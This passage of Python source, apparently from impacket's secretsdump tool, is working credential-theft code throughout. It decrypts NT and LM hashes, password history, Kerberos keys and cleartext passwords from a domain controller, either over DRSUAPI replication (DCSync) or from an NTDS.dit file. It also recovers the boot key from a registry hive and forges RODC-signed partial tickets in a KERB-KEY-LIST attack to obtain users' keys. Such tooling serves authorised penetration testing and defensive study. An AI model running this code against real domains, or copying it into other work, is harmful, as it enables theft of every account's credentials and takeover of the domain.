self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))\n\n                    if encryptedNTHistory['Header'][:4] == b'\\x13\\x00\\x00\\x00':\n                        # Win2016 TP4 decryption is different\n                        encryptedNTHistory = self.CRYPTED_HASHW16(\n                            unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))\n                        pekIndex = hexlify(encryptedNTHistory['Header'])\n                        tmpNTHistory = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],\n                                                                      encryptedNTHistory['EncryptedHash'],\n                                                                      encryptedNTHistory['KeyMaterial'])\n                    else:\n                        tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory)\n\n                    for i in range(0, len(tmpNTHistory) // 16):\n                        NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)\n                        NTHistory.append(NTHash)\n\n                for i, (LMHash, NTHash) in enumerate(\n                        map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):\n                    if self.__noLMHash:\n                        lmhash = hexlify(ntlm.LMOWFv1('', ''))\n                    else:\n                        lmhash = hexlify(LMHash)\n\n                    answer = \"%s_history%d:%s:%s:%s:::\" % (userName, i, rid, lmhash.decode('utf-8'),\n                                                           hexlify(NTHash).decode('utf-8'))\n                    if outputFile is not None:\n                        self.__writeOutput(outputFile, answer + '\\n')\n                    self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)\n        else:\n            replyVersion = 'V%d' %record['pdwOutVersion']\n            LOG.debug('Decrypting hash for user: %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])\n            domain = None\n            if self.__history:\n                LMHistory = []\n                NTHistory = []\n\n            rid = unpack('<L', record['pmsgOut'][replyVersion]['pObjects']['Entinf']['pName']['Sid'][-4:])[0]\n\n            for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:\n                try:\n                    attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])\n                    LOOKUP_TABLE = self.ATTRTYP_TO_ATTID\n                except Exception as e:\n                    LOG.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e)\n                    LOG.debug('Exception', exc_info=True)\n                    # Fallbacking to fixed table and hope for the best\n                    attId = attr['attrTyp']\n                    LOOKUP_TABLE = self.NAME_TO_ATTRTYP\n\n                if attId == LOOKUP_TABLE['dBCSPwd']:\n                    if attr['AttrVal']['valCount'] > 0:\n                        encrypteddBCSPwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])\n                        encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd)\n                        LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)\n                    else:\n                        LMHash = ntlm.LMOWFv1('', '')\n                elif attId == LOOKUP_TABLE['unicodePwd']:\n                    if attr['AttrVal']['valCount'] > 0:\n                        encryptedUnicodePwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])\n                        encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd)\n                        NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)\n                    else:\n                        NTHash = ntlm.NTOWFv1('', '')\n                elif attId == LOOKUP_TABLE['userPrincipalName']:\n                    if attr['AttrVal']['valCount'] > 0:\n                        try:\n                            domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]\n                        except:\n                            domain = None\n                    else:\n                        domain = None\n                elif attId == LOOKUP_TABLE['sAMAccountName']:\n                    if attr['AttrVal']['valCount'] > 0:\n                        try:\n                            userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')\n                        except:\n                            LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])\n                            userName = 'unknown'\n                    else:\n                        LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])\n                        userName = 'unknown'\n                elif attId == LOOKUP_TABLE['objectSid']:\n                    if attr['AttrVal']['valCount'] > 0:\n                        objectSid = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])\n                    else:\n                        LOG.error('Cannot get objectSid for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])\n                        objectSid = rid\n                elif attId == LOOKUP_TABLE['pwdLastSet']:\n                    if attr['AttrVal']['valCount'] > 0:\n                        try:\n                            pwdLastSet = self.__fileTimeToDateTime(unpack('<Q', b''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0])\n                        except:\n                            LOG.error('Cannot get pwdLastSet for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])\n                            pwdLastSet = 'N/A'\n                elif self.__printUserStatus and attId == LOOKUP_TABLE['userAccountControl']:\n                    if attr['AttrVal']['valCount'] > 0:\n                        if (unpack('<L', b''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0]) & samr.UF_ACCOUNTDISABLE:\n                            userAccountStatus = 'Disabled'\n                        else:\n                            userAccountStatus = 'Enabled'\n                    else:\n                        userAccountStatus = 'N/A'\n\n                if self.__history:\n                    if attId == LOOKUP_TABLE['lmPwdHistory']:\n                        if attr['AttrVal']['valCount'] > 0:\n                            encryptedLMHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])\n                            tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory)\n                            for i in range(0, len(tmpLMHistory) // 16):\n                                LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)\n                                LMHistory.append(LMHashHistory)\n                        else:\n                            LOG.debug('No lmPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])\n                    elif attId == LOOKUP_TABLE['ntPwdHistory']:\n                        if attr['AttrVal']['valCount'] > 0:\n                            encryptedNTHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])\n                            tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory)\n                            for i in range(0, len(tmpNTHistory) // 16):\n                                NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)\n                                NTHistory.append(NTHashHistory)\n                        else:\n                            LOG.debug('No ntPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])\n\n            if domain is not None:\n                userName = '%s\\\\%s' % (domain, userName)\n\n            answer = \"%s:%s:%s:%s:::\" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8'))\n            if self.__pwdLastSet is True:\n                answer = \"%s (pwdLastSet=%s)\" % (answer, pwdLastSet)\n            if self.__printUserStatus is True:\n                answer = \"%s (status=%s)\" % (answer, userAccountStatus)\n            self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)\n\n            if outputFile is not None:\n                self.__writeOutput(outputFile, answer + '\\n')\n\n            if self.__history:\n                for i, (LMHashHistory, NTHashHistory) in enumerate(\n                        map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):\n                    if self.__noLMHash:\n                        lmhash = hexlify(ntlm.LMOWFv1('', ''))\n                    else:\n                        lmhash = hexlify(LMHashHistory)\n\n                    answer = \"%s_history%d:%s:%s:%s:::\" % (userName, i, rid, lmhash.decode('utf-8'),\n                                                           hexlify(NTHashHistory).decode('utf-8'))\n                    self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)\n                    if outputFile is not None:\n                        self.__writeOutput(outputFile, answer + '\\n')\n\n        if outputFile is not None:\n            outputFile.flush()\n\n        LOG.debug('Leaving NTDSHashes.__decryptHash')\n\n    def dump(self):\n        hashesOutputFile = None\n        keysOutputFile = None\n        clearTextOutputFile = None\n        skipUsers = []\n\n        if self.__skipUser:\n            if os.path.isfile(self.__skipUser):\n                f = open(self.__skipUser, 'r')\n                skipUsers = [ line.strip() for line in f ]\n                f.close()\n            else:\n                skipUsers = self.__skipUser.split(',')\n        \n        if self.__useVSSMethod is True or self.__remoteSSMethodWMINTDS is True:\n            if self.__NTDS is None:\n                # No NTDS.dit file provided and were asked to use VSS or Shadow Snapshot Method via WMI\n                return\n        else:\n            if self.__NTDS is None:\n                # DRSUAPI method, checking whether target is a DC\n                try:\n                    if self.__remoteOps is not None:\n                        try:\n                            self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])\n                        except:\n                            if os.getenv('KRB5CCNAME') is not None and (self.__justUser is not None or self.__ldapFilter is not None):\n                                # RemoteOperations failed. That might be because there was no way to log into the\n                                # target system. We just have a last resort. Hope we have tickets cached and that they\n                                # will work\n                                pass\n                            else:\n                                raise\n                    else:\n                        raise Exception('No remote Operations available')\n                except Exception as e:\n                    LOG.debug('Exiting NTDSHashes.dump() because %s' % e)\n                    # Target's not a DC\n                    return\n\n        try:\n            # Let's check if we need to save results in a file\n            if self.__outputFileName is not None:\n                LOG.debug('Saving output to %s' % self.__outputFileName)\n                # We have to export. Are we resuming a session?\n                if self.__resumeSession.hasResumeData():\n                    mode = 'a+'\n                else:\n                    mode = 'w+'\n                hashesOutputFile = openFile(self.__outputFileName+'.ntds',mode)\n                if self.__justNTLM is False:\n                    keysOutputFile = openFile(self.__outputFileName+'.ntds.kerberos',mode)\n                    clearTextOutputFile = openFile(self.__outputFileName+'.ntds.cleartext',mode)\n\n            LOG.info('Dumping Domain Credentials (domain\\\\uid:rid:lmhash:nthash)')\n            if self.__useVSSMethod or self.__remoteSSMethodWMINTDS:\n                # We start getting rows from the table aiming at reaching\n                # the pekList. If we find users records we stored them\n                # in a temp list for later process.\n                self.__getPek()\n                if self.__PEK is not None:\n                    LOG.info('Reading and decrypting hashes from %s ' % self.__NTDS)\n                    # First of all, if we have users already cached, let's decrypt their hashes\n                    for record in self.__tmpUsers:\n                        try:\n                            self.__decryptHash(record, outputFile=hashesOutputFile)\n                            if self.__justNTLM is False:\n                                self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)\n                        except Exception as e:\n                            LOG.debug('Exception', exc_info=True)\n                            try:\n                                LOG.error(\n                                    \"Error while processing row for user %s\" % record[self.NAME_TO_INTERNAL['name']])\n                                LOG.error(str(e))\n                                pass\n                            except:\n                                LOG.error(\"Error while processing row!\")\n                                LOG.error(str(e))\n                                pass\n\n                    # Now let's keep moving through the NTDS file and decrypting what we find\n                    while True:\n                        try:\n                            record = self.__ESEDB.getNextRow(self.__cursor, filter_tables=self.__filter_tables_usersecret)\n                        except:\n                            LOG.error('Error while calling getNextRow(), trying the next one')\n                            continue\n\n                        if record is None:\n                            break\n                        try:\n                            if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES and record[self.NAME_TO_INTERNAL['instanceType']] & 4:    # \"The object is writable on this directory\"\n                                self.__decryptHash(record, outputFile=hashesOutputFile)\n                                if self.__justNTLM is False:\n                                    self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)\n                        except Exception as e:\n                            LOG.debug('Exception', exc_info=True)\n                            try:\n                                LOG.error(\n                                    \"Error while processing row for user %s\" % record[self.NAME_TO_INTERNAL['name']])\n                                LOG.error(str(e))\n                                pass\n                            except:\n                                LOG.error(\"Error while processing row!\")\n                                LOG.error(str(e))\n                                pass\n            else:\n                LOG.info('Using the DRSUAPI method to get NTDS.DIT secrets')\n                status = STATUS_MORE_ENTRIES\n                enumerationContext = 0\n                lookupBySid = True\n\n                # Do we have to resume from a previously saved session?\n                if self.__resumeSession.hasResumeData():\n                    resumeSid = self.__resumeSession.getResumeData()\n                    LOG.info('Resuming from SID %s, be patient' % resumeSid)\n                else:\n                    resumeSid = None\n                    # We do not create a resume file when asking for individual users\n                    if self.__justUser is None and self.__ldapFilter is None:\n                        self.__resumeSession.beginTransaction()\n\n                if self.__justUser is not None:\n                    # Depending on the input received, we need to change the formatOffered before calling\n                    # DRSCrackNames.\n                    # There are some instances when you call -just-dc-user and you receive ERROR_DS_NAME_ERROR_NOT_UNIQUE\n                    # That's because we don't specify the domain for the user (and there might be duplicates)\n                    # Always remember that if you specify a domain, you should specify the NetBIOS domain name,\n                    # not the FQDN. Just for this time. It's confusing I know, but that's how this API works.\n                    if self.__justUser.find('\\\\') >=0 or self.__justUser.find('/') >= 0:\n                        self.__justUser = self.__justUser.replace('/','\\\\')\n                        formatOffered = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME\n                    else:\n                        formatOffered = drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN\n\n                    crackedName = self.__remoteOps.DRSCrackNames(formatOffered,\n                                                                 drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,\n                                                                 name=self.__justUser)\n\n                    if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:\n                        if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:\n                            raise Exception(\"%s: %s\" % system_errors.ERROR_MESSAGES[\n                                0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])\n\n                        userRecord = self.__remoteOps.DRSGetNCChangesGuid(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])\n                        #userRecord.dump()\n                        replyVersion = 'V%d' % userRecord['pdwOutVersion']\n                        if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:\n                            raise Exception('DRSGetNCChanges didn\\'t return any object!')\n                    else:\n                        LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (\n                        crackedName['pmsgOut']['V1']['pResult']['cItems'], self.__justUser))\n                    try:\n                        self.__decryptHash(userRecord,\n                                           userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],\n                                           hashesOutputFile)\n                        if self.__justNTLM is False:\n                            self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][\n                                'pPrefixEntry'], keysOutputFile, clearTextOutputFile)\n\n                    except Exception as e:\n                        LOG.error(\"Error while processing user!\")\n                        LOG.debug(\"Exception\", exc_info=True)\n                        LOG.error(str(e))\n                elif self.__ldapFilter is not None:\n                    resp = self.__remoteOps.getDomainUsersLDAP(self.__ldapFilter)\n                    formatOffered = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME\n                    for (user, userSid) in resp:\n\n                        # Try to lookup by SID, but fallback to DSCrackNames for GUID lookups otherwise\n                        if lookupBySid:\n                            try:\n                                userRecord = self.__remoteOps.DRSGetNCChangesSid(userSid)\n                            except drsuapi.DCERPCSessionError as e:\n                                LOG.debug(\"SID lookup unsuccessful, falling back to DRSCrackNames/GUID lookups\")\n                                lookupBySid = False\n\n                        # We may need to run the above request again if it failed so this can't be an else\n                        if not lookupBySid:\n                            crackedName = self.__remoteOps.DRSCrackNames(formatOffered,\n                                                                         drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,\n                                                                         name=user)\n\n                            if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:\n                                if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:\n                                    raise Exception(\"%s: %s\" % system_errors.ERROR_MESSAGES[\n                                        0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])\n\n                                userRecord = self.__remoteOps.DRSGetNCChangesGuid(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])\n                            else:\n                                LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (\n                                            crackedName['pmsgOut']['V1']['pResult']['cItems'], user)\n                                )\n                        #userRecord.dump()\n                        replyVersion = 'V%d' % userRecord['pdwOutVersion']\n                        if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:\n                            raise Exception('DRSGetNCChanges didn\\'t return any object!')\n\n                        try:\n                            self.__decryptHash(userRecord,\n                                               userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],\n                                               hashesOutputFile)\n                            if self.__justNTLM is False:\n                                self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][\n                                                               'pPrefixEntry'], keysOutputFile, clearTextOutputFile)\n\n                        except Exception as e:\n                            LOG.error(\"Error while processing user %s!\" % user)\n                            LOG.debug(\"Exception\", exc_info=True)\n                            LOG.error(str(e))\n                else:\n                    while status == STATUS_MORE_ENTRIES:\n                        resp = self.__remoteOps.getDomainUsers(enumerationContext)\n\n                        for user in resp['Buffer']['Buffer']:\n                            userName = user['Name']\n                            if userName in skipUsers:\n                                continue\n                            userSid = \"%s-%i\" % (self.__remoteOps.getDomainSid(), user['RelativeId'])\n                            if resumeSid is not None:\n                                # Means we're looking for a SID before start processing back again\n                                if resumeSid == userSid:\n                                    # Match!, next round we will back processing\n                                    LOG.debug('resumeSid %s reached! processing users from now on' % userSid)\n                                    resumeSid = None\n                                else:\n                                    LOG.debug('Skipping SID %s since it was processed already' % userSid)\n                                continue\n\n                            # Try to lookup by SID, but fallback to DSCrackNames for GUID lookups otherwise\n                            if lookupBySid:\n                                try:\n                                    userRecord = self.__remoteOps.DRSGetNCChangesSid(userSid)\n                                except drsuapi.DCERPCSessionError as e:\n                                    LOG.debug(\"SID lookup unsuccessful, falling back to DRSCrackNames/GUID lookups\")\n                                    lookupBySid = False\n\n                            # We may need to run the above request again if it failed so this can't be an else\n                            if not lookupBySid:\n                                crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME,\n                                                                             drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,\n                                                                             name=userSid)\n\n                                if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:\n                                    if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:\n                                        LOG.error(\"%s: %s\" % system_errors.ERROR_MESSAGES[\n                                            0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])\n                                        break\n                                    userRecord = self.__remoteOps.DRSGetNCChangesGuid(\n                                        crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])\n\n                                else:\n                                    LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (\n                                    crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))\n\n                            # userRecord.dump()\n                            replyVersion = 'V%d' % userRecord['pdwOutVersion']\n                            if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:\n                                raise Exception('DRSGetNCChanges didn\\'t return any object!')\n\n                            try:\n                                self.__decryptHash(userRecord,\n                                                   userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],\n                                                   hashesOutputFile)\n                                if self.__justNTLM is False:\n                                    self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][\n                                        'pPrefixEntry'], keysOutputFile, clearTextOutputFile)\n\n                            except Exception as e:\n                                LOG.error(\"Error while processing user!\")\n                                LOG.debug(\"Exception\", exc_info=True)\n                                LOG.error(str(e))\n\n                            # Saving the session state\n                            self.__resumeSession.writeResumeData(userSid)\n\n                        enumerationContext = resp['EnumerationContext']\n                        status = resp['ErrorCode']\n\n                # Everything went well and we covered all the users\n                # Let's remove the resume file is we had created it\n                if self.__justUser is None and self.__ldapFilter is None:\n                    self.__resumeSession.clearResumeData()\n\n            LOG.debug(\"Finished processing and printing user's hashes, now printing supplemental information\")\n            # Now we'll print the Kerberos keys. So we don't mix things up in the output.\n            if len(self.__kerberosKeys) > 0:\n                if self.__useVSSMethod is True or self.__remoteSSMethodWMINTDS is True:\n                    LOG.info('Kerberos keys from %s ' % self.__NTDS)\n                else:\n                    LOG.info('Kerberos keys grabbed')\n\n                for itemKey in list(self.__kerberosKeys.keys()):\n                    self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_KERBEROS, itemKey)\n\n            # And finally the cleartext pwds\n            if len(self.__clearTextPwds) > 0:\n                if self.__useVSSMethod is True or self.__remoteSSMethodWMINTDS is True:\n                    LOG.info('ClearText password from %s ' % self.__NTDS)\n                else:\n                    LOG.info('ClearText passwords grabbed')\n\n                for itemKey in list(self.__clearTextPwds.keys()):\n                    self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_CLEARTEXT, itemKey)\n        finally:\n            # Resources cleanup\n            if hashesOutputFile is not None:\n                hashesOutputFile.close()\n\n            if keysOutputFile is not None:\n                keysOutputFile.close()\n\n            if clearTextOutputFile is not None:\n                clearTextOutputFile.close()\n\n            self.__resumeSession.endTransaction()\n\n    @classmethod\n    def __writeOutput(cls, fd, data):\n        try:\n            fd.write(data)\n        except Exception as e:\n            LOG.error(\"Error writing entry, skipping (%s)\" % str(e))\n            pass\n\n    def finish(self):\n        if self.__NTDS is not None:\n            self.__ESEDB.close()\n\nclass LocalOperations:\n    def __init__(self, systemHive):\n        self.__systemHive = systemHive\n\n    def getBootKey(self):\n        # Local Version whenever we are given the files directly\n        bootKey = b''\n        tmpKey = b''\n        winreg = winregistry.get_registry_parser(self.__systemHive, False)\n        # We gotta find out the Current Control Set\n        currentControlSet = winreg.getValue('\\\\Select\\\\Current')[1]\n        currentControlSet = \"ControlSet%03d\" % currentControlSet\n        for key in ['JD', 'Skew1', 'GBG', 'Data']:\n            LOG.debug('Retrieving class info for %s' % key)\n            ans = winreg.getClass('\\\\%s\\\\Control\\\\Lsa\\\\%s' % (currentControlSet, key))\n            digit = ans[:16].decode('utf-16le')\n            tmpKey = tmpKey + b(digit)\n\n        transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]\n\n        tmpKey = unhexlify(tmpKey)\n\n        for i in range(len(tmpKey)):\n            bootKey += tmpKey[transforms[i]:transforms[i] + 1]\n\n        LOG.info('Target system bootKey: 0x%s' % hexlify(bootKey).decode('utf-8'))\n\n        return bootKey\n\n\n    def checkNoLMHashPolicy(self):\n        LOG.debug('Checking NoLMHash Policy')\n        winreg = winregistry.get_registry_parser(self.__systemHive, False)\n        # We gotta find out the Current Control Set\n        currentControlSet = winreg.getValue('\\\\Select\\\\Current')[1]\n        currentControlSet = \"ControlSet%03d\" % currentControlSet\n\n        # noLmHash = winreg.getValue('\\\\%s\\\\Control\\\\Lsa\\\\NoLmHash' % currentControlSet)[1]\n        noLmHash = winreg.getValue('\\\\%s\\\\Control\\\\Lsa\\\\NoLmHash' % currentControlSet)\n        if noLmHash is not None:\n            noLmHash = noLmHash[1]\n        else:\n            noLmHash = 0\n\n        if noLmHash != 1:\n            LOG.debug('LMHashes are being stored')\n            return False\n        LOG.debug('LMHashes are NOT being stored')\n        return True\n\n\nclass KeyListSecrets:\n    def __init__(self, domainName, kdc, kvno, rodcKey, remoteOps=None):\n        self.__remoteOps = remoteOps\n        self.__keyVersionNumber = kvno\n        self.__rodcKey = rodcKey\n        if self.__remoteOps is None:\n            self.__kdcHostName = kdc\n            self.__domain = domainName\n        else:\n            self.__kdcHostName = self.__remoteOps.getMachineNameAndDomain()[0]\n            self.__domain = self.__remoteOps.getDNSDomain()\n\n    def dump(self):\n        LOG.info('Using the KERB-KEY-LIST method to get secrets')\n        self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])\n        targetList = self.getAllowedUsersToReplicate()\n        for targetUser in targetList:\n            user = targetUser.split(\":\")[0]\n            targetUserName = Principal('%s' % user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)\n            partialTGT, sessionKey = self.createPartialTGT(targetUserName)\n            fullTGT = self.getFullTGT(targetUserName, partialTGT, sessionKey)\n            if fullTGT is not None:\n                key = self.getKey(fullTGT, sessionKey)\n                print(self.__domain + \"\\\\\" + targetUser + \":\" + key[2:])\n\n    def createPartialTGT(self, userName):\n        # We need the ticket template\n        partialTGT = TicketAsn1()\n        partialTGT['tkt-vno'] = ProtocolVersionNumber.pvno.value\n        partialTGT['realm'] = self.__domain\n        partialTGT['sname'] = noValue\n        partialTGT['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value\n        partialTGT['sname']['name-string'][0] = 'krbtgt'\n        partialTGT['sname']['name-string'][1] = self.__domain\n        partialTGT['enc-part'] = noValue\n        partialTGT['enc-part']['kvno'] = self.__keyVersionNumber << 16\n        partialTGT['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value\n\n        # We create the encrypted ticket part\n        encTicketPart = EncTicketPart()\n        # We need these flags: 01000000100000010000000000000000\n        flags = list()\n        flags.append(TicketFlags.forwardable.value)\n        flags.append(TicketFlags.renewable.value)\n        flags.append(TicketFlags.enc_pa_rep.value)\n\n        # We fill in the encripted part\n        encTicketPart['flags'] = encodeFlags(flags)\n        encTicketPart['key'] = noValue\n        encTicketPart['key']['keytype'] = partialTGT['enc-part']['etype']\n        encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(32)])\n        encTicketPart['crealm'] = self.__domain\n        encTicketPart['cname'] = noValue\n        encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value\n        encTicketPart['cname']['name-string'] = noValue\n        encTicketPart['cname']['name-string'][0] = userName\n        encTicketPart['transited'] = noValue\n        encTicketPart['transited']['tr-type'] = 0\n        encTicketPart['transited']['contents'] = ''\n        encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.now(timezone.utc))\n        encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.now(timezone.utc))\n        # Let's extend the ticket's validity a lil bit\n        ticketDuration = datetime.now(timezone.utc) + timedelta(days=int(120))\n        encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration)\n        encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration)\n        # We don't need PAC\n        encTicketPart['authorization-data'] = noValue\n        # We encode the encripted part\n        encodedEncTicketPart = encoder.encode(encTicketPart)\n        # and we encrypt it with the RODC key\n        cipher = _enctype_table[partialTGT['enc-part']['etype']]\n        key = Key(cipher.enctype, unhexlify(self.__rodcKey))\n        # key usage 2 -> key tgt service\n        cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None)\n\n        partialTGT['enc-part']['cipher'] = cipherText\n        sessionKey = encTicketPart['key']['keyvalue']\n\n        return partialTGT, sessionKey\n\n    def getFullTGT(self, userName, partialTGT, sessionKey):\n        ticket = Ticket()\n        ticket.from_asn1(partialTGT)\n\n        apReq = AP_REQ()\n        apReq['pvno'] = 5\n        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)\n\n        opts = list()\n        apReq['ap-options'] = constants.encodeFlags(opts)\n        seq_set(apReq, 'ticket', ticket.to_asn1)\n\n        authenticator = Authenticator()\n        authenticator['authenticator-vno'] = 5\n        authenticator['crealm'] = partialTGT['realm'].asOctets()\n\n        seq_set(authenticator, 'cname', userName.components_to_asn1)\n\n        now = datetime.now(timezone.utc)\n        authenticator['cusec'] = now.microsecond\n        authenticator['ctime'] = KerberosTime.to_asn1(now)\n\n        encodedAuthenticator = encoder.encode(authenticator)\n        cipher = _enctype_table[partialTGT['enc-part']['etype']]\n        keyAuth = Key(cipher.enctype, bytes(sessionKey))\n        encryptedEncodedAuthenticator = cipher.encrypt(keyAuth, 7, encodedAuthenticator, None)\n\n        apReq['authenticator'] = noValue\n        apReq['authenticator']['etype'] = cipher.enctype\n        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator\n\n        tgsReq = TGS_REQ()\n        tgsReq['pvno'] = 5\n        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)\n        tgsReq['padata'] = noValue\n        tgsReq['padata'][0] = noValue\n        tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)\n        encodedApReq = encoder.encode(apReq)\n        tgsReq['padata'][0]['padata-value'] = encodedApReq\n        tgsReq['padata'][1] = noValue\n        tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.KERB_KEY_LIST_REQ.value)\n        encodedKeyReq = encoder.encode([23], asn1Spec=SequenceOf(componentType=Integer()))\n        tgsReq['padata'][1]['padata-value'] = encodedKeyReq\n\n        reqBody = seq_set(tgsReq, 'req-body')\n\n        opts = list()\n        opts.append(constants.KDCOptions.canonicalize.value)\n\n        reqBody['kdc-options'] = constants.encodeFlags(opts)\n        serverName = Principal(\"krbtgt\", type=PrincipalNameType.NT_SRV_INST.value)\n        reqBody['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value\n        reqBody['sname']['name-string'][0] = serverName\n        reqBody['sname']['name-string'][1] = self.__domain\n        reqBody['realm'] = self.__domain\n\n        now = datetime.now(timezone.utc) + timedelta(days=1)\n\n        reqBody['till'] = KerberosTime.to_asn1(now)\n        reqBody['nonce'] = rand.getrandbits(31)\n        seq_set_iter(reqBody, 'etype',\n                     (\n                         int(cipher.enctype),\n                         int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),\n                         int(constants.EncryptionTypes.rc4_hmac.value),\n                         int(constants.EncryptionTypes.rc4_hmac_exp.value),\n                         int(constants.EncryptionTypes.rc4_hmac_old_exp.value)\n                     )\n                     )\n\n        message = encoder.encode(tgsReq)\n        # Let's send our TGS Request, the response will include the FULL TGT with the keys!!!\n        try:\n            logging.debug(\"Requesting a service ticket for the user %s\", userName)\n            resp = sendReceive(message, self.__domain, self.__kdcHostName)\n        except Exception as error:\n            if str(error).find('KDC_ERR_TGT_REVOKED') >= 0 or str(error).find('KDC_ERR_CLIENT_REVOKED') >= 0:\n                logging.error(\"User %s is not allowed to have passwords replicated in RODCs\", userName)\n            elif str(error).find('KDC_ERR_C_PRINCIPAL_UNKNOWN') >= 0:\n                logging.error(\"User %s doesn't exist\", userName)\n            